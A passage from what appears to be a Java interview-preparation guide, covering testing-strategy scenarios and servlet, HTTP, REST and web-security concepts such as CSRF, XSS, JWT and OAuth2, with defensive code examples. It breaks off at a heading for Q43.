#tempdir #io #scenario

Q101 What would you test at which level for a new "place order" feature? ADVANCED

Distribute by risk and cost.

- Unit: pricing, discount and validation rules in the domain (plain JUnit, no mocks where possible).
- Service unit tests with Mockito for orchestration branches (payment failure, out of stock).
- `@WebMvcTest`: request validation, status codes, JSON mapping, security rules.
- `@DataJpaTest` with Testcontainers: repository queries and constraints.
- One or two `@SpringBootTest` integration tests of the happy path plus a rollback path with real transactions.
- Contract test for the payment provider API; one E2E smoke test.

FOLLOW-UP TRAPS

- **Should every layer repeat the same assertion?** No, each level tests what only it can prove.
- **Where do you test transaction rollback on payment failure?** In an integration test with a real transaction manager.

#test-pyramid #strategy #scenario

Q102 How would you introduce tests into a legacy class with static calls and `new` everywhere? ADVANCED

Start with characterization tests that pin current behaviour (often at a higher level), then create seams with small safe refactorings (extract method, introduce constructor-injected interface, wrap statics) and move to finer unit tests.

- Use `mockStatic` / `mockConstruction` temporarily to get a test in place, then remove them with the refactor.
- Approval/snapshot tests (ApprovalTests) quickly capture complex outputs.
- Refactor only under a green test, one step at a time (Michael Feathers' "Working Effectively with Legacy Code").

FOLLOW-UP TRAPS

- **Do you fix bugs found by characterization tests immediately?** Record them first; change behaviour deliberately and separately.
- **What is a seam?** A place where behaviour can be altered without editing the code at that place.

#legacy #characterization-tests #refactoring #scenario

Q103 Test asserts `assertEquals(0.3, 0.1 + 0.2)`. What happens and what is the fix? BASIC

It fails: `0.1 + 0.2` is `0.30000000000000004`. Use a delta overload `assertEquals(0.3, 0.1 + 0.2, 1e-9)`, or AssertJ `isCloseTo(0.3, within(1e-9))`; for money use `BigDecimal` with `compareTo` or `isEqualByComparingTo`.

- `assertEquals(BigDecimal("2.0"), BigDecimal("2.00"))` also fails since scale differs under `equals`.

FOLLOW-UP TRAPS

- **Does `assertEquals(double, double)` without delta compile in JUnit 5?** Yes, it compares exactly via `Double.doubleToLongBits`-style equality.
- **`BigDecimal.equals` vs `compareTo`?** `equals` compares scale, `compareTo` does not.

#assertions #floating-point #scenario

Q104 Why might `assertThrows` pass while the test is wrong, and how do you tighten it? INTERMEDIATE

`assertThrows(RuntimeException.class, ...)` passes for any runtime exception, including an unrelated `NullPointerException` from a bug in the test setup. Assert the specific type and message or cause, and keep the lambda to the single statement under test.

```
var ex = assertThrowsExactly(InsufficientFundsException.class,
    () -> account.withdraw(500));
assertEquals(100, ex.getShortfall());
```

- Put arrange code outside the lambda so setup errors fail clearly.

FOLLOW-UP TRAPS

- **Does `assertThrows` fail if no exception is thrown?** Yes, with `AssertionFailedError`.
- **Does it match subtypes?** Yes; `assertThrowsExactly` does not.

#assertions #exceptions #scenario

Q105 How do you test a REST endpoint end-to-end with an authenticated JWT in `@SpringBootTest`? ADVANCED

Either generate a signed token with a test key and send it as a Bearer header via `TestRestTemplate`/`WebTestClient`, or in `MockMvc` use `jwt()` post-processor to skip signature validation while testing authorities.

```
mvc.perform(get("/me").with(jwt().authorities(new SimpleGrantedAuthority("SCOPE_read"))))
   .andExpect(status().isOk());
```

- Use a mock JWK/issuer (WireMock or Keycloak container) for full-flow tests of decoding and signature.
- Test expired and wrong-audience tokens produce 401.

FOLLOW-UP TRAPS

- **Does `jwt()` validate signatures?** No, it injects an authenticated `JwtAuthenticationToken` directly.
- **401 or 403 for an expired token?** 401.

#springboottest #jwt #security #scenario

Q106 Interviewer asks: "Your test passes in IDE but fails in Maven." What are likely causes? INTERMEDIATE

Differences in classpath, working directory, JVM args, locale/time zone, test order or parallelism, unsynchronized shared state, or the test not following Surefire's naming conventions (so not run at all).

- IDE may compile resources differently; Maven filters resources or uses profile properties.
- Set `-Duser.timezone` and `file.encoding` consistently via `argLine`.
- Run `mvn -Dtest=MyTest test` to reproduce; check `target/surefire-reports`.
- Mockito inline agent warnings or Java version mismatch between IDE and Maven toolchain.

FOLLOW-UP TRAPS

- **Why would Maven run zero tests?** Names not matching `*Test`, or missing JUnit 5 provider/Jupiter engine on classpath.
- **Is the working directory identical?** Not necessarily; Surefire uses the module base dir.

#maven #surefire #environment #scenario

Q107 When do you prefer a Fake over a Mock for a repository in service tests? INTERMEDIATE

Prefer a fake (in-memory map-backed repository) when many tests exercise save-then-read flows: tests stay about outcomes, stubs are not repeated, and refactoring call patterns does not break them.

- Use mocks for interaction-only boundaries such as email, payment gateways or message publishers.
- A fake needs its own tests or contract tests to ensure it behaves like the real implementation.
- Spring Data repositories are interfaces, so a fake needs full implementation of the used methods.

FOLLOW-UP TRAPS

- **What is the risk with fakes?** They can diverge from real behaviour (ordering, constraints) and hide bugs; run contract tests against both.
- **Why not always use Testcontainers instead?** It is slower; fakes keep unit tests fast.

#fake #test-doubles #trade-offs #scenario

Q108 A new teammate asks whether to use `@SpringBootTest` for everything. What do you advise? BASIC

No. Default to plain unit tests for logic, add slices for web/persistence layers, and keep a small set of `@SpringBootTest` tests for end-to-end wiring.

- Full-context tests start slowly, fail with large unrelated diffs and give vague failures.
- A slice test fails only when its layer is wrong, so diagnosis is faster.
- Keep one smoke test that the context loads (`contextLoads`) to catch wiring problems.

FOLLOW-UP TRAPS

- **Is `contextLoads` enough coverage?** No, it only proves the wiring starts.
- **Can slices detect missing beans for other layers?** No, the full context test does.

#springboottest #strategy #scenario

CORE JAVA · CHAPTER 13

Web Development

Servlet lifecycle, filters, listeners, sessions, MVC, HTTP semantics, caching, REST, CORS/CSRF/XSS, authentication, JWT/OAuth2, async servlets, embedded servers, API design and production web scenarios.

104 questions **32** basic **50** intermediate **22** advanced

Theory

Q1 Describe the servlet lifecycle. BASIC

The container loads the class, creates one instance, calls `init(ServletConfig)` once, calls `service()` for every request (dispatching to `doGet` / `doPost` and so on), and calls `destroy()` once on shutdown or undeploy.

- Instantiation happens on first request or at startup if `load-on-startup` is set.
- Many request threads share the single instance, so instance fields must be thread-safe.

FOLLOW-UP TRAPS

- **Is a new servlet created per request?** No. One instance, many threads.
- **Can `init` be called twice?** Not on the same instance; a failed `init` discards the instance and the container may retry creating another.

#servlet #lifecycle

Q2 Why are servlets not thread-safe by default and what does that imply? BASIC

The container runs `service()` concurrently on a pool of threads against a single servlet instance. Any mutable instance or static field is shared state and needs synchronization or must be avoided.

- Keep per-request data in local variables or request attributes.
- `SingleThreadModel` was deprecated and removed (Servlet 6.0) because it never solved shared static/session state.

FOLLOW-UP TRAPS

- **Is a `HttpSession` attribute thread-safe?** No. Concurrent requests of one user can touch it simultaneously.
- **Are request/response objects shareable across threads?** No, except under defined async handling.

#servlet #thread-safety

Q3 What is the difference between `ServletConfig` and `ServletContext`? BASIC

`ServletConfig` is per servlet (its init params). `ServletContext` is per web application: shared attributes, context params, resource access, and logging for all servlets.

- `ServletContext` attributes act as application-scoped storage, shared across all users.
- One `ServletContext` per application per JVM (per distributed container node).

FOLLOW-UP TRAPS

- **Is `ServletContext` shared across cluster nodes?** No, each JVM has its own.
- **Are init params and context params the same?** No, different scopes and declarations.

#servlet #context #config

Q4 What is the difference between `forward`, `include` and `sendRedirect`? BASIC

`forward` and `include` are server-side hand-offs inside the same request via `RequestDispatcher`. `sendRedirect` sends a 302 (or chosen 3xx) to the client, which issues a new request.

- Forward: URL in the browser unchanged, same request attributes, single round trip.
- Redirect: URL changes, request attributes are lost, extra round trip; use it for Post/Redirect/Get.
- Include inserts the target output into the current response.

FOLLOW-UP TRAPS

- **Can you forward after the response is committed?** No, `IllegalStateException`.
- **Why Post/Redirect/Get?** Prevents duplicate form submission on browser refresh.

#servlet #forward #redirect

Q5 What is a servlet filter and how does the chain work? BASIC

A `Filter` intercepts requests and responses before and after the servlet. `doFilter(req, res, chain)` runs pre-logic, calls `chain.doFilter` to continue, then runs post-logic on the way back.

```
public class TimingFilter implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        long t = System.nanoTime();
        try {
            chain.doFilter(req, res);
        } finally {
            System.out.println((System.nanoTime() - t) / 1_000_000 + " ms");
        }
    }
}
```

- Use cases: authentication, logging, compression, CORS, encoding.
- Not calling `chain.doFilter` short-circuits the request.

FOLLOW-UP TRAPS

- **Who decides filter order?** `web.xml` declaration order; with annotations the order is unspecified, so use `web.xml` or Spring's `FilterRegistrationBean.setOrder`.
- **Do filters run on forwards?** Only if mapped with the `FORWARD` dispatcher type.

#filter #chain

Q6 How do filters differ from Spring MVC interceptors? INTERMEDIATE

Filters are a servlet-container feature working on raw `ServletRequest`/`ServletResponse` before `DispatcherServlet`. `HandlerInterceptor` is a Spring MVC feature that runs inside `DispatcherServlet` and knows the resolved handler.

- Interceptor hooks: `preHandle`, `postHandle`, `afterCompletion`.
- Filters can wrap the request/response (body caching, compression); interceptors cannot replace them.
- Exceptions thrown in filters bypass `@ControllerAdvice`.

FOLLOW-UP TRAPS

- **Where would you put CORS or request body logging?** A filter, since it must wrap the raw streams and apply to non-MVC paths.
- **Does `postHandle` run if the handler throws?** No, but `afterCompletion` does.

#filter #interceptor #spring-mvc

Q7 What listeners does the servlet API provide? BASIC

Listeners observe lifecycle and attribute events: `ServletContextListener` (app start/stop), `HttpSessionListener` (session created/destroyed), `ServletRequestListener`, and attribute listeners for context, session and request.

- Typical use: initialize connection pools or caches in `contextInitialized`, release them in `contextDestroyed`.
- `HttpSessionBindingListener` and `HttpSessionActivationListener` are implemented by the attribute values themselves.

FOLLOW-UP TRAPS

- **When does `sessionDestroyed` fire?** On `invalidate()` or timeout expiry, not when the browser closes.
- **Is a `ServletContextListener` called before servlets init?** Yes, `contextInitialized` runs before filters and servlets are initialized.

#listener #lifecycle

Q8 How do HTTP sessions work? BASIC

The server creates an `HttpSession` holding state in memory keyed by a random ID, and sends the ID to the client in a cookie (`JSESSIONID`). The client returns it on each request, and the server looks the session up.

- Created lazily on `request.getSession()` (or `getSession(true)`); `getSession(false)` returns null if none exists.
- Idle timeout via `session-timeout` or `setMaxInactiveInterval`.
- URL rewriting (`;jsessionid=`) is the cookie-less fallback and should be disabled in modern apps.

FOLLOW-UP TRAPS

- **Does the session die when the browser closes?** The cookie is session-scoped and dropped, but the server session lives until timeout.
- **Does `getSession(false)` create a session?** No.

#session #cookie

Q9 What are the important cookie attributes? BASIC

`HttpOnly` blocks JavaScript access, `Secure` restricts to HTTPS, `SameSite` (`Strict`, `Lax`, `None`) limits cross-site sending, and `Domain`, `Path`, `Max-Age` / `Expires` control scope and lifetime.

- `SameSite=None` requires `Secure`.
- Browsers default to `Lax` when unspecified (Chrome and others).
- Session cookies should be `HttpOnly; Secure; SameSite=Lax`.

FOLLOW-UP TRAPS

- **Does `HttpOnly` stop XSS?** No, it only prevents cookie theft by script; XSS can still make requests as the user.
- **Is a cookie sent to subdomains?** Only when `Domain` is set explicitly (or by the host-only default rules, which exclude subdomains).

#cookie #security

Q10 What is session fixation and how do you prevent it? INTERMEDIATE

An attacker plants a known session ID in the victim's browser, the victim logs in, and the unchanged ID now identifies an authenticated session the attacker can reuse. Prevent by issuing a new session ID at login.

- Servlet 3.1+: `request.changeSessionId()`; Spring Security does this by default (`changeSessionId` strategy).

- Also disable URL-based session IDs and set cookie flags.

> **FOLLOW-UP TRAPS**
> - **Is invalidate + new session equivalent?** It works but loses attributes you wanted to keep; `changeSessionId` preserves them.
> - **Should the ID change on logout?** Invalidate the session on logout.

#session #security #fixation

Q11 **What are the options for session management in a clustered deployment?** INTERMEDIATE

Sticky sessions, session replication, an external session store (Redis, JDBC via Spring Session), or stateless tokens.

- Sticky sessions: simplest, but node failure loses sessions and load balances unevenly.
- Replication: heavy network traffic and memory; poor scaling.
- External store: survives restarts, scales; adds a network hop and serialization cost.
- Stateless: no server state, but revocation is harder.

> **FOLLOW-UP TRAPS**
> - **What must session attributes implement for replication?** `Serializable`.
> - **Does Spring Session change application code?** Mostly no; it replaces `HttpSession` implementation via a filter.

#session #cluster #scalability

Q12 **What is JSP and how does it relate to servlets?** BASIC

JSP is an HTML template with embedded Java/EL/tag libraries. The container translates each JSP into a servlet class, compiles it on first access, and executes it like any servlet.

- Lifecycle: translate, compile, `jspInit`, `_jspService`, `jspDestroy`.
- Scriptlets are discouraged; use EL (`${user.name}`) and JSTL.
- Implicit objects: `request`, `session`, `application`, `out`, `pageContext`.

> **FOLLOW-UP TRAPS**
> - **Why is the first JSP request slow?** It triggers translation and compilation.
> - **Is JSP the default view tech in Spring Boot?** No. It has limited support with embedded containers (WAR packaging preferred); Thymeleaf or templates are typical.

#jsp #view

Q13 **Explain the MVC pattern in Java web applications.** BASIC

Model holds data and business logic, View renders output, Controller handles input and chooses the view. It separates concerns so each part can change independently.

- Servlet-era: servlet as controller, JSP as view, POJOs as model.
- Spring MVC: `DispatcherServlet` is the front controller.

> **FOLLOW-UP TRAPS**
> - **Is MVC used for REST APIs?** The view becomes serialization (JSON); controller and model remain.
> - **Where does business logic belong?** In the service layer, not controllers.

#mvc #architecture

Q14 Describe the request flow in Spring MVC. INTERMEDIATE

`DispatcherServlet` receives the request, `HandlerMapping` finds the handler, interceptors run `preHandle`, `HandlerAdapter` invokes the controller with resolved arguments, the return value is processed by a `HttpMessageConverter` (REST) or `ViewResolver` (views), and exceptions go to `HandlerExceptionResolver`.

- Argument binding: `@PathVariable`, `@RequestParam`, `@RequestBody` (via message converters).
- `@RestController` = `@Controller` + `@ResponseBody`.

FOLLOW-UP TRAPS

- **Where is JSON conversion done?** `HttpMessageConverter` (Jackson) selected by `Accept` / `Content-Type`.
- **Are filters before or after `DispatcherServlet`?** Before.

#spring-mvc #dispatcherservlet

Q15 Which HTTP methods exist and what are safe and idempotent methods? BASIC

Safe methods do not change server state (GET, HEAD, OPTIONS, TRACE). Idempotent methods yield the same server state when repeated (those plus PUT and DELETE). POST and PATCH are neither guaranteed.

- Idempotency is about server state, not identical responses: a repeated DELETE may return 404 the second time.
- Clients, proxies and browsers rely on these properties to retry and prefetch.

FOLLOW-UP TRAPS

- **Is PUT idempotent?** Yes, it replaces the resource with the same representation.
- **Is PATCH idempotent?** Not necessarily (`increment by 1` is not).

#http #methods #idempotency

Q16 When do you use PUT, PATCH and POST? INTERMEDIATE

POST creates a subordinate resource or triggers processing, with a server-assigned URI. PUT fully replaces a resource at a client-known URI. PATCH applies a partial modification.

- PATCH formats: JSON Merge Patch (`application/merge-patch+json`) or JSON Patch (`application/json-patch+json`).
- PUT creates the resource if it does not exist (201) or replaces it (200/204).

FOLLOW-UP TRAPS

- **What does PUT do to omitted fields?** They are reset, since it is a full replacement.
- **How do you make POST safe to retry?** Use an `Idempotency-Key` header and dedupe on the server.

#http #put #patch #post

Q17 Summarize the HTTP status code classes and commonly misused codes. BASIC

1xx informational, 2xx success, 3xx redirection, 4xx client error, 5xx server error.

- 200 OK, 201 Created (with `Location`), 202 Accepted (async), 204 No Content.
- 301/308 permanent, 302/307 temporary redirect; 304 Not Modified.
- 400 malformed, 401 unauthenticated, 403 forbidden, 404 not found, 409 conflict, 422 semantic validation, 429 too many requests.
- 500 internal error, 502 bad gateway, 503 unavailable, 504 gateway timeout.

FOLLOW-UP TRAPS

- **401 or 403 for a missing token?** 401 (and `WWW-Authenticate`); 403 means authenticated but not allowed.
- **Is returning 200 with an error body acceptable?** No, it breaks clients, caches and monitoring.

#http #status-codes

Q18 What is the difference between 301, 302, 307 and 308? INTERMEDIATE

301 and 308 are permanent; 302 and 307 are temporary. 307 and 308 require the client to keep the method and body, while historically 301/302 allowed browsers to turn POST into GET.

- Use 303 See Other after a POST to redirect to a GET resource.
- Permanent redirects are cached aggressively by browsers.

FOLLOW-UP TRAPS

- **Which code for Post/Redirect/Get?** 303 (302 works in practice).
- **Can a wrong 301 be undone easily?** No, clients cache it.

#http #redirect

Q19 Which important HTTP headers should a backend engineer know? BASIC

`Content-Type`, `Accept`, `Authorization`, `Cache-Control`, `ETag` / `If-None-Match`, `Location`, `Set-Cookie` / `Cookie`, `Origin`, `Content-Length` / `Transfer-Encoding`, `User-Agent`, `X-Forwarded-For` / `Forwarded`.

- `Content-Type` describes the request body; `Accept` describes desired response types.
- Behind a proxy, use `X-Forwarded-*` (with `server.forward-headers-strategy` in Spring Boot) to recover client IP, scheme and host.

FOLLOW-UP TRAPS

- **Can `X-Forwarded-For` be trusted?** Only from known proxies; clients can spoof it.
- **Are header names case-sensitive?** No.

#http #headers

Q20 How does HTTP caching work with `Cache-Control`? INTERMEDIATE

`Cache-Control` directives tell browsers and shared caches how long and whether to store a response: `max-age`, `s-maxage`, `no-cache`, `no-store`, `public`, `private`, `must-revalidate`, `immutable`.

- `no-cache` means store but revalidate before use; `no-store` means never store.
- `private` forbids shared caches (CDNs); use it for user-specific data.
- Fingerprinted static assets: `public, max-age=31536000, immutable`.

FOLLOW-UP TRAPS

- **Does `no-cache` disable caching?** No, it forces revalidation; `no-store` disables storage.
- **What is `Vary` for?** It tells caches which request headers (e.g. `Accept-Encoding`) alter the response.

#http #caching #cache-control

Q21 How do ETag and conditional requests work? INTERMEDIATE

The server returns an `ETag` validator. The client sends it back as `If-None-Match`; if unchanged the server replies `304 Not Modified` with no body, saving bandwidth.

- Strong ETags mean byte-identical; weak ones (`W/"..."`) mean semantically equivalent.
- `Last-Modified` / `If-Modified-Since` is the date-based alternative.
- `If-Match` on PUT/DELETE gives optimistic concurrency (412 Precondition Failed on mismatch).

```
@GetMapping("/items/{id}")
ResponseEntity<Item> get(@PathVariable long id) {
    Item i = service.find(id);
    return ResponseEntity.ok().eTag("\"" + i.version() + "\"").body(i);
}
```

FOLLOW-UP TRAPS

- **Does ETag save server work?** Not necessarily; it saves bandwidth unless you compute the tag cheaply (e.g. from a version column).
- **Which status for failed `If-Match`?** 412.

#etag #caching #conditional

Q22 What are the REST architectural constraints? BASIC

Client-server, stateless, cacheable, uniform interface, layered system, and optional code-on-demand. The uniform interface covers resource identification by URI, manipulation through representations, self-descriptive messages, and HATEOAS.

- Stateless: each request carries all context; the server holds no client session state.
- Resources are nouns; verbs come from HTTP methods.

FOLLOW-UP TRAPS

- **Is a JWT-authenticated API stateless?** Yes in the REST sense, since the token travels with each request.
- **Is every JSON-over-HTTP API RESTful?** No; many are RPC-style.

#rest #principles

Q23 What is the Richardson Maturity Model? INTERMEDIATE

It grades APIs on four levels: 0 single endpoint tunneling (RPC/POX), 1 resources with individual URIs, 2 proper HTTP verbs and status codes, 3 hypermedia controls (HATEOAS).

- Most production APIs stop at level 2.
- Level 3 embeds links (`_links`) so clients discover actions; Spring HATEOAS supports it.

FOLLOW-UP TRAPS

- **Is level 2 "REST"?** Strictly per Fielding, only level 3 qualifies.
- **What does HATEOAS buy you?** Decoupling clients from URI structure and workflow state.

#rest #maturity #hateoas

Q24 How should REST URIs be designed? BASIC

Use plural nouns for collections, hierarchy for ownership, and HTTP methods for actions: `GET /orders`, `GET /orders/42`, `GET /orders/42/items`.

- Lowercase, hyphenated, no verbs, no file extensions.
- Filtering, sorting and paging go in query parameters.
- For non-CRUD actions, model a sub-resource (`POST /orders/42/cancellation`) rather than `/cancelOrder`.

FOLLOW-UP TRAPS

- **Deep nesting like `/a/1/b/2/c/3`?** Avoid beyond two levels; expose the child by its own ID.
- **Should IDs be sequential integers?** Prefer non-guessable IDs where enumeration is a risk.

#rest #uri-design

Q25 What is content negotiation?

INTERMEDIATE

The client states preferences with `Accept` (and `Accept-Language`, `Accept-Encoding`) using quality values, and the server picks a representation, returning `406 Not Acceptable` if none matches. The request body type is declared with `Content-Type`, and unsupported ones yield `415`.

- Spring MVC: `produces` / `consumes` on mappings select handlers by media type.
- Always send `Vary: Accept` when the representation depends on it.

```
@GetMapping(value = "/report", produces = {"application/json", "text/csv"})
Report report() { return service.report(); }
```

FOLLOW-UP TRAPS

- **406 versus 415?** 406 is about the response type, 415 about the request body type.
- **What does `q=0.8` mean?** Relative preference weight between 0 and 1.

#content-negotiation #http

Q26 What is CORS and how does it work?

INTERMEDIATE

CORS lets a server tell browsers which cross-origin pages may read its responses. For non-simple requests the browser sends a preflight `OPTIONS` with `Origin`, `Access-Control-Request-Method` and `-Headers`, and the server answers with `Access-Control-Allow-*` headers.

- Simple requests (GET/POST with basic headers and content types) skip the preflight.
- Credentials require an explicit origin (not `*`) and `Access-Control-Allow-Credentials: true`.
- Preflight results are cached via `Access-Control-Max-Age`.

FOLLOW-UP TRAPS

- **Does CORS protect the server?** No, it restricts browsers only; curl ignores it.
- **Can you combine `*` origin with credentials?** No, the browser rejects it.

#cors #security

Q27 What is CSRF and how do you defend against it?

INTERMEDIATE

Cross-site request forgery makes a victim's browser send an authenticated, state-changing request because cookies are attached automatically. Defend with synchronizer or double-submit CSRF tokens, `SameSite` cookies, and checking `Origin` / `Referer`.

- Spring Security enables CSRF protection by default for browser flows.
- APIs authenticated with an `Authorization` header (not cookies) are not CSRF-prone, so it is commonly disabled for stateless APIs.

FOLLOW-UP TRAPS

- **Does CORS prevent CSRF?** No; simple cross-site form posts are sent regardless.
- **Do safe methods need CSRF tokens?** No, provided GET never changes state.

#csrf #security

Q28 What is XSS and how do you prevent it?

INTERMEDIATE

Cross-site scripting injects attacker script into pages viewed by others. Types: stored, reflected, DOM-based. Prevent with context-aware output encoding, input validation, a Content Security Policy, and `HttpOnly` cookies.

- Template engines (Thymeleaf `th:text`, JSTL `<c:out>`) escape by default; `th:utext` and raw `${}` in JSP scriptlets do not.
- JSON APIs must send `Content-Type: application/json` plus `X-Content-Type-Options: nosniff`.

FOLLOW-UP TRAPS

- **Is input sanitization enough?** No, encode on output for the specific context (HTML, attribute, JS, URL).
- **Does a CSP replace encoding?** No, it is defense in depth.

#xss #security

Q29 What other security headers matter for web apps? INTERMEDIATE

`Strict-Transport-Security` (force HTTPS), `Content-Security-Policy`, `X-Content-Type-Options: nosniff`, `X-Frame-Options` or CSP `frame-ancestors` (clickjacking), `Referrer-Policy`, and `Permissions-Policy`.

- Spring Security adds several of these by default.
- HSTS is only honoured over HTTPS responses.

FOLLOW-UP TRAPS

- **Why not set HSTS with a huge max-age first?** A misconfiguration locks users out of HTTP subdomains for that long.
- **What does `nosniff` stop?** Browsers guessing a script type from content.

#security #headers

Q30 What is the difference between authentication and authorization? BASIC

Authentication verifies who you are (credentials, token). Authorization decides what that identity may do (roles, permissions, policies).

- Failures: unauthenticated gives 401; authenticated but denied gives 403.
- Authorization models: RBAC, ABAC, ownership checks on each object.

FOLLOW-UP TRAPS

- **Is a role check at the URL level enough?** No; object-level checks prevent IDOR (insecure direct object reference).
- **Where do you enforce it?** On the server, never only in the UI.

#authentication #authorization

Q31 How should passwords be stored? BASIC

Hash with a slow, salted, adaptive algorithm: bcrypt, scrypt, Argon2 or PBKDF2. Never encrypt reversibly and never use plain SHA-256/MD5.

- Spring Security: `PasswordEncoder` (`BCryptPasswordEncoder`, `DelegatingPasswordEncoder` with `{bcrypt}` prefixes enabling migration).
- Salt is stored with the hash; a pepper is optional and kept outside the database.

FOLLOW-UP TRAPS

- **Why not SHA-256 with salt?** It is fast, so brute forcing is cheap.
- **How do you raise the cost later?** Re-hash on next successful login.

#authentication #passwords

Q32 What is HTTP Basic, form login and token-based authentication? BASIC

Basic sends base64 `user:password` in `Authorization` every request (needs TLS). Form login posts credentials once and then relies on a session cookie. Token auth sends a bearer token (`Authorization: Bearer ...`) on each request.

- Base64 is encoding, not encryption.
- Tokens suit APIs and mobile; sessions suit server-rendered apps.

FOLLOW-UP TRAPS

- **Is Basic over HTTPS acceptable?** For internal or machine clients, yes; it still sends the password each time.
- **Where should a SPA store tokens?** In-memory or an `HttpOnly` cookie; `localStorage` is exposed to XSS.

#authentication #basic #token

Q33 What is a JWT and how is it structured? INTERMEDIATE

A JSON Web Token is `header.payload.signature`, each Base64URL-encoded. The signature (HS256 shared secret, RS256/ES256 key pair) makes it tamper-evident; the payload is readable by anyone.

- Standard claims: `iss`, `sub`, `aud`, `exp`, `nbf`, `iat`, `jti`.
- Validate signature, algorithm whitelist, `exp`, `iss` and `aud`.

FOLLOW-UP TRAPS

- **Is a JWT encrypted?** Not by default; that needs JWE.
- **What is the `alg: none` attack?** A forged unsigned token accepted by libraries that trust the header; always pin accepted algorithms.

#jwt #token

Q34 What are the drawbacks of JWTs and how do you handle revocation? ADVANCED

JWTs are self-contained so the server cannot invalidate one before `exp` without extra state. Mitigate with short-lived access tokens plus refresh tokens, a denylist keyed by `jti`, or key rotation.

- Rotate refresh tokens and detect reuse to spot theft.
- Large claims inflate every request's headers.

FOLLOW-UP TRAPS

- **Does logout invalidate a JWT?** Not unless you track it server-side.
- **HS256 or RS256 for multiple services?** RS256/ES256 so verifiers hold only the public key.

#jwt #revocation

Q35 Explain the OAuth2 roles and the authorization code flow. INTERMEDIATE

Roles: resource owner, client, authorization server, resource server. In the authorization code flow the client redirects the user to the authorization server, receives a one-time `code` at its redirect URI, and exchanges it (server-side, with client credentials or PKCE) for access and refresh tokens.

- Use PKCE for public clients (SPAs, mobile); it is recommended for all clients in OAuth 2.1.
- `state` parameter protects against CSRF on the callback.

FOLLOW-UP TRAPS

- **Why not return tokens directly in the redirect (implicit flow)?** Tokens leak via URLs and history; implicit is deprecated.
- **Is OAuth2 authentication?** No, it is delegated authorization; OIDC adds identity via the ID token.

#oauth2 #authorization-code

Q36 What are the other OAuth2 grant types and where are they used? INTERMEDIATE

Client credentials (service-to-service, no user), refresh token (renew access), device code (input-limited devices), and the deprecated password and implicit grants.

- Client credentials: the client is the resource owner; scope by service identity.
- Resource servers validate tokens by JWT signature or by introspection (RFC 7662).

FOLLOW-UP TRAPS

- **Why is the password grant discouraged?** The client handles user credentials, defeating delegation.
- **JWT validation versus introspection?** JWT is offline and fast but not instantly revocable; introspection is online and revocable.

#oauth2 #grants

Q37 How does file upload work with servlets and Spring? INTERMEDIATE

Browsers send `multipart/form-data`. Servlet 3.0+ exposes parts via `request.getParts()` (`@MultipartConfig`); Spring wraps them as `MultipartFile`.

```
@PostMapping(value = "/files", consumes = "multipart/form-data")
ResponseEntity<Void> upload(@RequestParam("file") MultipartFile f) throws IOException {
    Path target = Path.of("/data/uploads", UUID.randomUUID().toString());
    f.transferTo(target);
    return ResponseEntity.status(201).build();
}
```

- Spring Boot limits: `spring.servlet.multipart.max-file-size` (default 1MB) and `max-request-size` (10MB).
- Small parts stay in memory; larger spill to temp files (`file-size-threshold`).

FOLLOW-UP TRAPS

- **Is `getOriginalFilename()` safe as a path?** No, it enables path traversal; generate your own name.
- **Is `Content-Type` of the part trustworthy?** No, the client controls it; verify content (magic bytes).

#file-upload #multipart

Q38 What are the security considerations for file uploads? ADVANCED

Enforce size limits, allowlist types by content inspection, rename files, store outside the web root (or in object storage), scan for malware, and serve downloads with a safe `Content-Type` and `Content-Disposition: attachment`.

- Beware zip bombs and decompression, image parser vulnerabilities, and SVG scripts.
- Do not execute or serve uploaded files from a path that runs JSP/scripts.

FOLLOW-UP TRAPS

- **Why store in S3 with pre-signed URLs?** Large uploads bypass your app threads and bandwidth.
- **Does an extension check suffice?** No, `evil.jpg.jsp` or mismatched content defeats it.

#file-upload #security

Q39 How do async servlets work? ADVANCED

`request.startAsync()` returns an `AsyncContext` and releases the container thread while the work continues elsewhere. When finished, call `asyncContext.complete()` or `dispatch()` to write the response.

```
@WebServlet(urlPatterns = "/slow", asyncSupported = true)
public class SlowServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse res) {
        AsyncContext ctx = req.startAsync();
        ctx.setTimeout(5000);
        CompletableFuture.runAsync(() -> {
            try { ctx.getResponse().getWriter().write("done"); }
            catch (IOException e) { /* log */ }
            finally { ctx.complete(); }
        });
    }
}
```

- Every filter in the chain must also declare `asyncSupported = true`.
- Register an `AsyncListener` for timeouts and errors.

FOLLOW-UP TRAPS

- **Does async make the work itself faster?** No, it frees the request thread to serve others during waits.
- **What happens on timeout without a listener?** The container responds with an error (typically 500).

#async #servlet

Q40 How does Spring MVC support async handling? INTERMEDIATE

Return `Callable`, `DeferredResult`, `CompletableFuture`, `StreamingResponseBody` or `SseEmitter` from a controller. Spring starts async processing, frees the container thread, and re-dispatches when the result is ready.

- `Callable` runs on the MVC async executor; configure a bounded `AsyncTaskExecutor` (the default simple executor creates a thread per task).
- `DeferredResult` is completed from any thread, e.g. a message listener.

FOLLOW-UP TRAPS

- **Is a `Callable` return reactive?** No, it still occupies another thread.
- **Do Spring Security context and MDC propagate?** Security context is propagated by Spring; MDC needs a task decorator.

#async #spring-mvc #deferredresult

Q41 Compare embedded Tomcat, Jetty and Undertow. INTERMEDIATE

All are servlet containers that run inside the application JAR. Tomcat is the Spring Boot default and the most widely deployed; Jetty is lightweight and strong for async/WebSocket and embedding; Undertow is non-blocking-core with low memory and high throughput.

- Switch by excluding `spring-boot-starter-tomcat` and adding `spring-boot-starter-jetty` or `-undertow`.
- Tuning: `server.tomcat.threads.max` (default 200), `accept-count`, `max-connections`.
- Spring Boot 3 requires Servlet 6 (Jakarta namespace); Undertow lacks Servlet 6.1 support in Boot 3.x/4 so check compatibility.

FOLLOW-UP TRAPS

- **Why fat JAR with embedded server?** Single deployable unit, per-app tuning, and container-friendly.
- **What is Tomcat's default thread pool max?** 200.

#embedded #tomcat #jetty #undertow

Q42 What is the Tomcat connector model (NIO, acceptor, poller, workers)? ADVANCED

An acceptor thread accepts sockets, poller threads watch idle keep-alive connections via NIO, and a worker thread from the executor pool handles each active request until the response completes.

- `max-connections` (default 8192) bounds open sockets; `accept-count` (default 100) is the OS backlog queue.
- Blocking servlet I/O still ties up a worker for the whole request.

FOLLOW-UP TRAPS

- **Are 8192 connections served concurrently?** No; only `threads.max` requests execute at once, the rest wait idle or queue.
- **Is NIO the same as async handling?** No, NIO is the connector; the servlet code still blocks the worker.

#tomcat #nio #threads

Q43 Compare thread-per-request and reactive models.

INTERMEDIATE

